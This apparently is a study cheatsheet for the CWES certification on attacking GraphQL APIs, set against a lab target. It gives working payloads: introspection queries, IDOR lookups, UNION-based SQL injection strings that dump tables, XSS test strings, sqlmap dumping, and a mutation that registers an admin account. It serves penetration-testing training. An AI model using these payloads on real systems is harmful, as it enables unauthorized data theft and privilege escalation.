Post

CWES Cheatsheet — Attacking GraphQL

CWES Cheatsheet — Attacking GraphQL

graphql is a query language for APIs that runs on a single endpoint (usually /graphql). unlike REST (multiple endpoints), graphql lets clients request exactly the data they want. if not properly secured, attackers can enumerate the entire schema, access unauthorized data, and inject payloads.


how graphql works

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# Query -- read data (like GET in REST)
{
  users {
    id
    username
    role
  }
}

# Query with argument -- filter results
{
  users(username: "admin") {
    id
    username
    password
  }
}

# Sub-query -- nested objects
{
  posts {
    title
    author {
      username
      role
    }
  }
}

# Mutation -- modify data (like POST/PUT/DELETE in REST)
mutation {
  registerUser(input: {username: "hacker", password: "abc123", role: "admin"}) {
    user {
      username
      role
    }
  }
}

response format (always JSON):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
  "data": {
    "users": [
      {
        "id": 1,
        "username": "htb-stdnt",
        "role": "user"
      },
      {
        "id": 2,
        "username": "admin",
        "role": "admin"
      }
    ]
  }
}

step 1: find the graphql endpoint

1
2
3
4
5
6
7
8
Common endpoints:
/graphql
/api/graphql
/api/v1/graphql
/graphiql        (GraphQL IDE -- interactive playground)
/playground
/console
/query

graphql APIs are typically implemented on a single endpoint that handles all queries. by accessing the /graphql endpoint in a browser directly, you may find a GraphiQL interface that lets you run queries interactively.


step 2: identify the graphql engine

1
2
3
4
5
6
7
8
# Use graphw00f to fingerprint
git clone https://github.com/dolevf/graphw00f.git
python3 graphw00f/main.py -d -f -t http://TARGET

# Output example:
# [!] Found GraphQL at http://TARGET/graphql
# [*] Discovered GraphQL Engine: (Graphene)
# [!] Technologies: Python

graphw00f sends various GraphQL queries, including malformed queries, and determines the engine by observing the backend’s behavior and error messages. it also provides a link to the GraphQL Threat Matrix for the identified engine.


step 3: run security audit with graphql-cop

1
2
git clone https://github.com/dolevf/graphql-cop.git
python3 graphql-cop/graphql-cop.py -t http://TARGET/graphql

example output:

1
2
3
4
5
6
7
[HIGH] Introspection - Introspection Query Enabled (Information Leakage)
[HIGH] Alias Overloading - 100+ aliases allowed (DoS)
[HIGH] Array-based Query Batching - 10+ simultaneous queries (DoS)
[HIGH] Field Duplication - 500 repeated fields allowed (DoS)
[MEDIUM] GET Method Query Support (Possible CSRF)
[LOW] Field Suggestions Enabled (Information Leakage)
[LOW] GraphiQL Explorer/Playground Enabled (Information Leakage)

this gives you a baseline of all security issues to investigate further.


step 4: introspection (enumerate the entire schema)

introspection is a graphql feature that enables users to query the API about the structure of the backend system. users can use introspection queries to obtain all queries supported by the API schema.

list all types:

1
2
3
4
5
6
7
{
  __schema {
    types {
      name
    }
  }
}

get fields of a specific type:

1
2
3
4
5
6
7
8
9
10
11
12
{
  __type(name: "UserObject") {
    name
    fields {
      name
      type {
        name
        kind
      }
    }
  }
}

list all queries:

1
2
3
4
5
6
7
8
9
10
{
  __schema {
    queryType {
      fields {
        name
        description
      }
    }
  }
}

list all mutations:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
query {
  __schema {
    mutationType {
      name
      fields {
        name
        args {
          name
          defaultValue
          type {
            ...TypeRef
          }
        }
      }
    }
  }
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
      }
    }
  }
}

full introspection query (dumps everything):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}

fragment InputValue on __InputValue {
  name
  description
  type { ...TypeRef }
  defaultValue
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

tip: paste the full introspection result into GraphQL Voyager (click CHANGE SCHEMA -> INTROSPECTION -> paste -> DISPLAY) to visualize the entire schema. in a real engagement, host Voyager locally so no sensitive data leaves your system.


step 5: IDOR (access other users’ data)

like REST APIs, broken authorization, particularly IDOR vulnerabilities, are common security issues in graphql.

step 1: identify queries that take user identifiers as arguments

1
2
3
4
5
6
7
8
# Your profile query
{
  user(username: "htb-stdnt") {
    id
    username
    role
  }
}

step 2: query another user’s data

1
2
3
4
5
6
7
{
  user(username: "admin") {
    id
    username
    role
  }
}

step 3: use introspection to find ALL fields (including sensitive ones)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
  __type(name: "UserObject") {
    name
    fields {
      name
      type { name kind }
    }
  }
}

# Found "password" field -> add it to query
{
  user(username: "admin") {
    username
    password
  }
}

always introspect types to find hidden fields like password, token, secret, apiKey, ssn that aren’t queried by the frontend but exist in the schema.


step 6: SQL injection via graphql

SQL injection vulnerabilities can inherently occur in graphql APIs that do not properly sanitize user input from arguments in the SQL queries executed by the backend. we should carefully investigate all graphql queries, check whether they support arguments, and analyze these arguments for potential SQL injections.

step 1: find queries with arguments

1
2
3
4
5
6
7
8
9
10
# Send query without arguments -> error reveals required argument name
{
  postByAuthor
}
# Error: "Required argument 'author' missing"

{
  user
}
# Error: "Required argument 'username' missing"

step 2: test for SQLi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Single quote test
{
  user(username: "'") {
    username
  }
}
# If SQL error -> SQLi confirmed

# Boolean test
{
  user(username: "admin' OR '1'='1") {
    username
  }
}
# If still returns data -> SQLi confirmed

step 3: UNION injection (match column count from introspection)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# UserObject has 6 fields -> UNION needs 6 columns
# username is 3rd field -> 3rd column reflected in response

# Enumerate tables
{
  user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -") {
    username
  }
}
# Response: {"username": "user,secret,post"}

# Enumerate columns of "secret" table
{
  user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5,6 FROM information_schema.columns WHERE table_name='secret'-- -") {
    username
  }
}

# Extract data
{
  user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(flag),4,5,6 FROM secret-- -") {
    username
  }
}

since the graphql query only returns the first row, we use GROUP_CONCAT to exfiltrate multiple rows at a time. the database may contain data that cannot be queried through the graphql API – always check for sensitive tables.

SQLMap with graphql:

1
2
3
# Save the request from Burp to a file
# Mark injection point in the username argument
sqlmap -r graphql_request.txt --batch --dump

step 7: XSS via graphql

XSS vulnerabilities can occur if graphql responses are inserted into the HTML page without proper sanitization. they can also occur if invalid arguments are reflected in error messages.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Test in arguments
{
  user(username: "<script>alert(1)</script>") {
    username
  }
}

# Test in error messages (wrong type for argument)
{
  post(id: "<script>alert(1)</script>") {
    title
  }
}
# If XSS payload reflected in error without encoding -> XSS

step 8: privilege escalation via mutations

to identify potential attack vectors through mutations, we must thoroughly examine all supported mutations and their corresponding inputs.

step 1: find mutations via introspection (step 4 above)

step 2: get mutation input fields

1
2
3
4
5
6
7
8
9
10
11
{
  __type(name: "RegisterUserInput") {
    name
    inputFields {
      name
      description
      defaultValue
    }
  }
}
# Found: username, password, role, msg

step 3: register user with admin role

1
2
3
# Hash password if required
echo -n 'password' | md5sum
# 5f4dcc3b5aa765d61d8327deb882cf99
1
2
3
4
5
6
7
8
9
10
11
12
13
mutation {
  registerUser(input: {
    username: "hacker",
    password: "5f4dcc3b5aa765d61d8327deb882cf99",
    role: "admin",
    msg: "pwned"
  }) {
    user {
      username
      role
    }
  }
}
1
2
If role: "admin" is reflected -> privilege escalation successful
Login with new admin user -> access /admin endpoint

always check if mutations let you set the role field. if the frontend doesn’t expose it but the schema accepts it, you can escalate to admin by specifying it directly.


tools reference

ToolWhat It DoesUsage
graphw00fFingerprint GraphQL enginepython3 main.py -d -f -t http://TARGET
GraphQL-CopSecurity audit (introspection, DoS, CSRF checks)python3 graphql-cop.py -t http://TARGET/graphql
GraphQL VoyagerVisualize schema from introspectionPaste introspection result into web UI
InQLBurp extension for GraphQL scanningInstall via BApp Store -> right-click -> Generate queries

← Back to CWES Cheatsheet Index

This post is licensed under CC BY 4.0 by the author.